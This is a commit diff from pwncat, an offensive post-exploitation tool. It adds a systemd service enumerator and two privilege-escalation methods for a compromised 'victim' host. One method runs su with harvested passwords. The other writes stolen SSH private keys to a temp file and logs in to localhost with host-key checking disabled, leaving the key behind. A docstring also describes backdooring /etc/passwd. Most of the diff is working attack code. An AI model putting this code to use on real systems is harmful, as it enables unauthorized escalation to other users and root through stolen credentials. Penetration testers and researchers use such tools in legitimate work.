1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Added systemd enumeration, and privesc methods to utilize enumerated keys and passwords

This commit is contained in:
Caleb Stewart 2020-05-27 00:35:17 -04:00
parent 04cc435107
commit d0e0179fda
7 changed files with 253 additions and 3 deletions

View File

@ -8,7 +8,7 @@ import pwncat
from pwncat import util
name = "pwncat.enumerate.private_key"
provides = "private_key"
provides = "system.user.private_key"
per_user = True

View File

@ -37,7 +37,6 @@ def enumerate() -> Generator[FactData, None, None]:
try:
with pwncat.victim.open("/proc/1/comm", "r") as filp:
comm = filp.read().strip()
print("what the fuck", comm)
if comm is not None:
if "systemd" in comm.lower():
init = util.Init.SYSTEMD

View File

@ -0,0 +1,103 @@
#!/usr/bin/env python3
import dataclasses
from typing import Generator, List, Tuple, Optional
from colorama import Fore
import pwncat
from pwncat import util
from pwncat.enumerate import FactData
name = "pwncat.enumerate.system"
provides = "system.service"
per_user = False
@dataclasses.dataclass
class ServiceData(FactData):
name: str
""" The name of the service as given on the remote host """
uid: int
""" The user this service is running as """
state: str
""" Whether the service is running """
pid: int
def __str__(self):
if self.uid == 0:
color = Fore.RED
else:
color = Fore.GREEN
line = f"Service {Fore.CYAN}{self.name}{Fore.RESET} as {color}{pwncat.victim.find_user_by_id(self.uid).name}{Fore.RESET}"
if self.state == "running":
color = Fore.GREEN
elif self.state == "dead":
color = Fore.YELLOW
else:
color = Fore.BLUE
line += f" ({color}{self.state}{Fore.RESET})"
return line
def enumerate() -> Generator[FactData, None, None]:
"""
Enumerate the services provided by systemd
:return:
"""
try:
# Look for a enumerator providing the init type
iter = pwncat.victim.enumerate.iter("system.init")
fact = next(iter)
# Make sure to close the iterator
iter.close()
except StopIteration:
# We couldn't determine the init type
return
# We want systemd
if fact.data.init != util.Init.SYSTEMD:
return
# Request the list of services
# For the generic call, we grab the name, PID, user, and state
# of each process. If some part of pwncat needs more, it can
# request it specifically.
data = pwncat.victim.env(
[
"systemctl",
"show",
"--type=service",
"--no-pager",
"--all",
"--value",
"--property",
"Id",
"--property",
"MainPID",
"--property",
"UID",
"--property",
"SubState",
"*",
],
PAGER="",
)
data = data.strip().decode("utf-8").split("\n")
for i in range(0, len(data), 5):
if i >= (len(data) - 4):
print(data[i:])
break
print(data[i : i + 4])
name = data[i + 2].strip().rstrip(".service")
pid = int(data[i].strip())
if "[not set]" in data[i + 1]:
uid = 0
else:
uid = int(data[i + 1].strip())
state = data[i + 3].strip()
yield ServiceData(name, uid, state, pid)

View File

@ -285,7 +285,15 @@ class Finder:
methods. Primarily, it will directly execute any techniques which provide
the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd
if the target user is root. Lastly, it will try to escalate using a local
SSH server combined with READ/WRITE capabilities to gain a local shell. """
SSH server combined with READ/WRITE capabilities to gain a local shell.
This is, by far, the most disgusting function in all of `pwncat`. I'd like
to clean it up, but I'm not sure how to break this up. It's all one continuous
line of logic. It's meant to implement all possible privilege escalation methods
for one user given a list of techniques for that user. The largest chunk of this
is the SSH part, which needs to check that SSH exists, then try various methods
to either leak or write private keys for the given user.
"""
readers: List[Technique] = []
writers: List[Technique] = []

View File

@ -0,0 +1,6 @@
"""
This package contains privilege escalation methods based on enumeration facts.
This could be passwords that the enumeration module found, or private keys or
anything else of use.
"""

View File

@ -0,0 +1,51 @@
#!/usr/bin/env python3
from typing import List
from pwncat import util
from pwncat.gtfobins import Capability
from pwncat.privesc import BaseMethod, PrivescError, Technique
import pwncat
class Method(BaseMethod):
name = "enumerated-passwords"
BINARIES = ["su"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
"""
Enumerate capabilities for this method.
:param capability: the requested capabilities
:return: a list of techniques implemented by this method
"""
# We only provide shell capability
if Capability.SHELL not in capability:
return []
techniques = []
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
util.progress(f"enumerating password facts: {str(fact.data)}")
techniques.append(
Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
)
util.erase_progress()
return techniques
def execute(self, technique: Technique) -> bytes:
"""
Escalate to the new user and return a string used to exit the shell
:param technique: the technique to user (generated by enumerate)
:return: an exit command
"""
# Escalate
try:
pwncat.victim.su(technique.user, technique.ident.password)
except PermissionError as exc:
raise PrivescError(str(exc))
return "exit\n"

View File

@ -0,0 +1,83 @@
#!/usr/bin/env python3
from typing import List
from pwncat import util
from pwncat.gtfobins import Capability
from pwncat.privesc import BaseMethod, PrivescError, Technique
import pwncat
from pwncat.util import Access
class Method(BaseMethod):
name = "enumerated-private-key"
BINARIES = ["ssh"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
"""
Enumerate capabilities for this method.
:param capability: the requested capabilities
:return: a list of techniques implemented by this method
"""
for fact in pwncat.victim.enumerate.iter("system.service"):
if "ssh" in fact.data.name and fact.data.running:
break
else:
raise PrivescError("no sshd service running")
# We only provide shell capability
if Capability.SHELL not in capability:
return []
techniques = []
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
util.progress(f"enumerating private key facts: {str(fact.data)}")
techniques.append(
Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
)
return techniques
def execute(self, technique: Technique) -> bytes:
"""
Escalate to the new user and return a string used to exit the shell
:param technique: the technique to user (generated by enumerate)
:return: an exit command
"""
# Check if we have access to the remote file
access = pwncat.victim.access(technique.ident.path)
if Access.READ in access:
privkey_path = technique.ident.path
else:
content = technique.ident.content.replace("\r\n", "\n").rstrip("\n") + "\n"
with pwncat.victim.tempfile("w", length=len(content)) as filp:
filp.write(content)
privkey_path = filp.name
pwncat.victim.env(["chmod", "600", privkey_path])
pwncat.victim.tamper.created_file(privkey_path)
try:
ssh_command = [
"ssh",
"-i",
privkey_path,
"-o",
"StrictHostKeyChecking=no",
"-o",
"PasswordAuthentication=no",
f"{technique.user}@127.0.0.1",
]
# Attempt to SSH as this user
pwncat.victim.env(ssh_command, wait=False)
finally:
# Cleanup the private key
# if privkey_path != technique.ident.path:
# pwncat.victim.env(["rm", "-f", privkey_path])
pass
return "exit\n"